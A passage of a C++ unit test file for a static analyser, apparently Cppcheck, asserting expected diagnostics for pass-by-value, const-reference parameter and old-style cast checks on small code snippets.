{\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 